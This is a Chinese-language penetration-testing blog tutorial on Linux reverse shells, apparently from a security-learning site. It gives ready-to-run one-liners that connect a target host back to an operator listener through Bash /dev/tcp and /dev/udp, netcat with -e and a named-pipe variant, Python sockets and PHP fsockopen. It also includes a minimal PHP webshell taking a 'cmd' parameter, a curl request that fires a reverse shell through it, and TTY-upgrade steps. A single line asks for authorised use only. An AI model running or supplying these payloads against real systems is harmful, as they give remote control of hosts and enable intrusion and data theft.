首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
1
篇与
的结果
2026-04-14
Linux反弹Shell实战:Bash/NC/Python/PHP实操指南
某企业的测试服务器因为安全策略限制了所有入站端口,运维工程师小李需要远程排查服务器上的日志问题,直接通过SSH连接被防火墙拦截。这时候,反弹Shell就成了他的解决办法——通过让目标主机主动发起连接,绕过入站限制,建立远程控制会话。本文就结合Bash、NC、Python、PHP四种常用工具,详细讲解反弹Shell的实战操作和注意事项。反弹Shell的基本原理反弹Shell和正向连接的主要区别在于连接发起方:正向连接是本地机器主动连接目标主机的开放端口,而反弹Shell则是目标主机主动连接本地监听的端口,将Shell会话传输过来。这种方式可以规避目标主机的入站防火墙限制,在很多受限环境中非常实用。 操作的基本流程分为两步: 1、在本地机器上开启一个端口监听,等待目标主机的连接 2、在目标主机上执行反弹命令,让主机主动连接本地监听端口,完成Shell会话的传递Bash反弹Shell实战Bash是绝大多数Linux发行版自带的Shell工具,不需要额外安装,是最常用的反弹Shell手段之一。操作步骤首先在本地机器上开启端口监听,这里我们选择4444端口(1024以上的端口无需管理员权限):nc -lvnp 4444 参数解释:-l表示开启监听模式,-v显示详细连接信息,-n不进行域名解析,-p指定监听端口。 然后在目标主机上执行反弹命令:bash -i >& /dev/tcp/你的本地IP/4444 0>&1 命令拆解: bash -i:启动交互式Shell,支持用户输入交互命令 & /dev/tcp/你的本地IP/4444:将标准输出和标准错误输出重定向到TCP连接中 0>&1:将标准输入重定向到标准输出对应的连接,实现双向通信 如果目标主机的Bash路径不是默认的/bin/bash,可以替换为完整路径,比如/usr/bin/bash -i ...。 常见变体如果目标主机使用的是轻量系统,比如Alpine Linux,默认没有安装Bash,可以用sh替代:sh -i >& /dev/tcp/你的本地IP/4444 0>&1 另外还可以使用UDP协议的反弹命令,适合部分限制了TCP的场景:bash -i >& /dev/udp/你的本地IP/4444 0>&1 NC反弹Shell实战NC也就是Netcat,被称为“网络瑞士军刀”,支持多种网络操作,也是反弹Shell的常用工具。不过需要注意不同版本的NC功能有差异:GNU版本的NC支持-e参数,而BusyBox编译的精简版本则没有该参数。GNU NC实战(带-e参数)本地监听命令和之前一致:nc -lvnp 4444 目标主机上执行反弹命令:nc 你的本地IP 4444 -e /bin/bash 这里的-e参数表示将NC连接的输入输出重定向到后面的bash程序,实现Shell会话的传递。精简版NC(无-e参数)实战很多嵌入式设备或者轻量系统使用的是BusyBox的NC,没有-e参数,这时候可以通过命名管道实现双向通信:mknod backpipe p && nc 你的本地IP 4444 0<backpipe | /bin/bash 1>backpipe 命令拆解: 1、mknod backpipe p:创建一个命名管道backpipe,用于传递数据 2、nc 你的本地IP 4444 0<backpipe:将管道的内容作为NC的输入 3、| /bin/bash 1>backpipe:将bash的标准输出重定向到管道中,实现双向数据流转Python反弹Shell实战Python几乎预装在所有现代Linux发行版中,而且语法简洁,反弹Shell的命令兼容性很强,适合大多数有Python环境的目标主机。基础反弹命令本地监听依旧使用nc -lvnp 4444,目标主机执行以下命令:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的本地IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 命令拆解: 1、导入socket、subprocess、os三个模块,分别用于网络连接、执行系统命令和文件描述符操作 2、创建TCP socket连接,连接到本地监听端口 3、使用os.dup2将socket的文件描述符替换为标准输入、输出和错误输出,让bash的所有输入输出都通过socket传输 4、调用subprocess.call启动交互式bash Shell 如果目标主机默认使用Python3,可以将python替换为python3。升级为完整终端有时候反弹回来的Shell会出现交互异常,比如无法使用方向键、快捷键,可以通过Python的pty模块升级为完整的终端: 在反弹得到的Shell中执行:python -c 'import pty; pty.spawn("/bin/bash")' 之后可以按Ctrl+Z将当前Shell挂起,在本地终端执行stty raw -echo,再按fg回到目标Shell,就可以获得完整的终端交互体验。PHP反弹Shell实战PHP常用于Web服务器环境,很多时候我们会通过Webshell的方式获取目标主机的执行权限,这时候PHP反弹Shell就非常实用。基础反弹命令本地监听还是nc -lvnp 4444,目标主机执行以下命令:php -r '\$sock=fsockopen("你的本地IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");' 这里使用了fsockopen创建TCP连接,用文件描述符3指代socket连接,将标准输入、输出和错误都重定向到该连接。Web场景下的PHP反弹如果是通过Webshell上传的方式获取权限,可以先编写一个简单的PHP脚本:<?php if(isset(\$_GET['cmd'])){ system(\$_GET['cmd']); } ?> 将该脚本上传到目标网站的可访问目录下,然后通过浏览器或者curl命令执行反弹命令:curl http://目标网站地址/shell.php?cmd=bash+-i+>+%26+%2Fdev%2Ftcp%2F你的本地IP%2F4444+0%3E%261 注意需要对命令中的特殊字符进行URL编码,比如空格替换为+或者%20。受限PHP环境处理如果PHP被禁用了exec、shell_exec等函数,可以尝试使用其他函数,比如popen:php -r '$sock=fsockopen("你的本地IP",4444);$fp=popen("/bin/bash -i","r");while($f=fgets($fp)){fwrite($sock,$f);}' 不过这种方式的兼容性不如exec,需要根据实际环境调整。实战注意事项和排错技巧在实际操作中,经常会遇到各种问题,以下是一些实用的注意事项和排错方法: 1、请不要进行未授权的操作,反弹Shell只能在获得明确授权的设备上使用,遵守相关法律法规 2、确认本地机器和目标主机之间的网络连通性,可以先通过ping命令测试基础网络是否正常 3、检查本地和目标主机的防火墙设置,确保监听的端口没有被拦截,比如本地防火墙开放4444端口 4、如果反弹失败,可以尝试更换端口,比如使用8080、8888等常见端口,避开被占用的端口 5、如果拿到的Shell交互异常,可以使用Python的pty模块升级终端,获得更好的使用体验 6、如果目标主机没有安装对应工具,比如没有Python,可以尝试使用其他工具,比如Bash或者NC总结反弹Shell是运维和安全工作中非常实用的技术手段,不同的工具适用于不同的场景:Bash适合大多数自带Shell的Linux系统,NC适合没有Python环境的场景,Python兼容性强适合大多数现代系统,PHP则多用于Web服务器环境。掌握这四种工具的实战方法,可以帮助我们在合法授权的前提下,高效完成远程排查和测试工作。
2026年04月14日
554 阅读
0 评论
0 点赞